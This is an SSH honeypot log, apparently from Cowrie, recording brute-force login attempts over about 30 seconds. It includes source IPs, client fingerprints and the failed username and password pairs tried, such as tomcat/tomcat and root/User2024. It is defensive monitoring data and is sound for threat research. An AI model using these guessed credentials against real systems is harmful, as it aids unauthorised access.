{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:52:59.992383Z","src_ip":"192.109.200.78","session":"02dc9323647b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53228,"dst_ip":"10.17.0.5","dst_port":22,"session":"64baa8c1d604","protocol":"ssh","message":"New connection: 192.109.200.78:53228 (10.17.0.5:22) [session: 64baa8c1d604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:01.969278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:01.973764Z","src_ip":"192.109.200.78","session":"64baa8c1d604","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:02.054232Z","src_ip":"192.109.200.78","session":"64baa8c1d604","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"root","message":"login attempt [myuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:02.310320Z","src_ip":"192.109.200.78","session":"64baa8c1d604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:03.393451Z","src_ip":"192.109.200.78","session":"64baa8c1d604","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53244,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cf06e3cda6b","protocol":"ssh","message":"New connection: 192.109.200.78:53244 (10.17.0.5:22) [session: 4cf06e3cda6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:05.597986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:05.601994Z","src_ip":"192.109.200.78","session":"4cf06e3cda6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:05.683177Z","src_ip":"192.109.200.78","session":"4cf06e3cda6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"12345","message":"login attempt [appuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:05.928450Z","src_ip":"192.109.200.78","session":"4cf06e3cda6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:07.011828Z","src_ip":"192.109.200.78","session":"4cf06e3cda6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53256,"dst_ip":"10.17.0.5","dst_port":22,"session":"51befb0566b5","protocol":"ssh","message":"New connection: 192.109.200.78:53256 (10.17.0.5:22) [session: 51befb0566b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:08.968852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:08.972723Z","src_ip":"192.109.200.78","session":"51befb0566b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:09.053270Z","src_ip":"192.109.200.78","session":"51befb0566b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:09.543890Z","src_ip":"192.109.200.78","session":"51befb0566b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:10.626841Z","src_ip":"192.109.200.78","session":"51befb0566b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"User2024","message":"login attempt [root/User2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:11.952704Z","src_ip":"27.71.230.31","session":"8268e3a90612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56152,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5a0ffad84a7","protocol":"ssh","message":"New connection: 192.109.200.78:56152 (10.17.0.5:22) [session: f5a0ffad84a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:12.612241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:12.616281Z","src_ip":"192.109.200.78","session":"f5a0ffad84a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:12.697931Z","src_ip":"192.109.200.78","session":"f5a0ffad84a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher123","message":"login attempt [rancher/rancher123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:13.163915Z","src_ip":"192.109.200.78","session":"f5a0ffad84a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:14.247924Z","src_ip":"192.109.200.78","session":"f5a0ffad84a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.3","message":"Connection lost after 16.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:14.836696Z","src_ip":"27.71.230.31","session":"8268e3a90612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56158,"dst_ip":"10.17.0.5","dst_port":22,"session":"105ef297f674","protocol":"ssh","message":"New connection: 192.109.200.78:56158 (10.17.0.5:22) [session: 105ef297f674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:16.215883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:16.222581Z","src_ip":"192.109.200.78","session":"105ef297f674","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:16.363343Z","src_ip":"192.109.200.78","session":"105ef297f674","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xiao","password":"xiao","message":"login attempt [xiao/xiao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:16.765306Z","src_ip":"192.109.200.78","session":"105ef297f674","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:17.848658Z","src_ip":"192.109.200.78","session":"105ef297f674","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":52758,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f3b60adb975","protocol":"ssh","message":"New connection: 103.176.20.57:52758 (159.203.135.109:22) [session: 7f3b60adb975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:17.949540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:17.954507Z","src_ip":"103.176.20.57","session":"7f3b60adb975","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:18.205435Z","src_ip":"103.176.20.57","session":"7f3b60adb975","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"barber","message":"login attempt [root/barber] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:18.960481Z","src_ip":"103.176.20.57","session":"7f3b60adb975","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56160,"dst_ip":"10.17.0.5","dst_port":22,"session":"34c7a9530e7f","protocol":"ssh","message":"New connection: 192.109.200.78:56160 (10.17.0.5:22) [session: 34c7a9530e7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:19.849682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:19.855649Z","src_ip":"192.109.200.78","session":"34c7a9530e7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:19.936053Z","src_ip":"192.109.200.78","session":"34c7a9530e7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"123456","message":"login attempt [teamspeak/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:20.179961Z","src_ip":"192.109.200.78","session":"34c7a9530e7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:20.211864Z","src_ip":"103.176.20.57","session":"7f3b60adb975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:21.262772Z","src_ip":"192.109.200.78","session":"34c7a9530e7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53008,"dst_ip":"10.17.0.5","dst_port":22,"session":"69043a40d5aa","protocol":"ssh","message":"New connection: 192.109.200.78:53008 (10.17.0.5:22) [session: 69043a40d5aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:23.496824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:23.500392Z","src_ip":"192.109.200.78","session":"69043a40d5aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:23.580502Z","src_ip":"192.109.200.78","session":"69043a40d5aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wizard","password":"wizard","message":"login attempt [wizard/wizard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:23.827658Z","src_ip":"192.109.200.78","session":"69043a40d5aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:24.911493Z","src_ip":"192.109.200.78","session":"69043a40d5aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53012,"dst_ip":"10.17.0.5","dst_port":22,"session":"b55ada57150f","protocol":"ssh","message":"New connection: 192.109.200.78:53012 (10.17.0.5:22) [session: b55ada57150f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:27.190252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:27.193510Z","src_ip":"192.109.200.78","session":"b55ada57150f","protocol":"ssh"}
